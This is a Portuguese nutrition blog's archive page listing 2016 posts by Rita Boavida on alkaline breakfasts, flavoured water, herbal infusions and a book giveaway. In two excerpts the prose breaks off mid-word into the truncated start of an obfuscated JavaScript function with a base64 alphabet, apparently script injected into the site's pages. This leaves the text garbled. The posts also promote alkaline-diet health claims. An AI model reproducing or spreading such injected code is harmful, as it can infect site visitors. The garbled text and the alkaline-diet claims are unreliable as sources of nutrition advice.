Jul 12, 2016 | À descoberta, Receitas
4 super pequenos almoços alcalinos, por Rita Boavida Comece o dia de forma saudável, equilibrfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 27, 2016 | Equilíbrio, Saúde e bem estar
Água aromatizada – 5 receitas por Dra. Rita Boavida, nutricionista A água aromatizada é uma combinação de água com ingredientes variados como frutas, vegetais, ervas aromáticas e especiarias. A preparação das águas aromatizadas consiste em adicionar, por...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar
Pequeno-almoço alcalino para um despertar saudável por Dra. Rita Boavida, nutricionista Entre a última refeição do dia e a primeira da manhã, o nosso corpo fica sujeito a um longo período de jejum. Isto significa que, pela manhã, ao acordarmos, é necessário...
Abr 27, 2016 | Equilíbrio, Saúde e bem estar
Saiba que vegetal faz bem a quê, por Rita Boavida, nutricionista. Vivemos numa época sem precedentes em termos de abundância alimentar, mas, felizmente, os portugueses procuram cada vez mais consumir alimentos saudáveis e naturais para alcançar a saúde. Contudo, para...
Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 12, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Tabela de infusões – Saiba que chá faz bem a quê Por Rita Boavida Uma infusão é a imersão de uma substância aromática em água quente ou a ferver. Algumas das infusões mais comuns são o chá, as tisanas e o café. Ao longo dos séculos o Homem foi conhecendo e...
Mar 27, 2016 | Passatempos, Passatempos
Passatempo! Abusou dos doces? Alegre-se: ofereço 3 livros “O Fator pH” + 3 consultas com a nutricionista Rita Boavida. ? –// ACTUALIZAÇÃO EM 01 Abril 2016 ANÚNCIO DE VENCEDORES As vencedoras deste Passatempo são: 1) Susana Fonseca 2) Carla Sofia 3)...
Mar 27, 2016 | Equilíbrio, Saúde e bem estar
Conheça a Dieta Alcalina O equilíbrio é a chave de tudo, nomeadamente qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
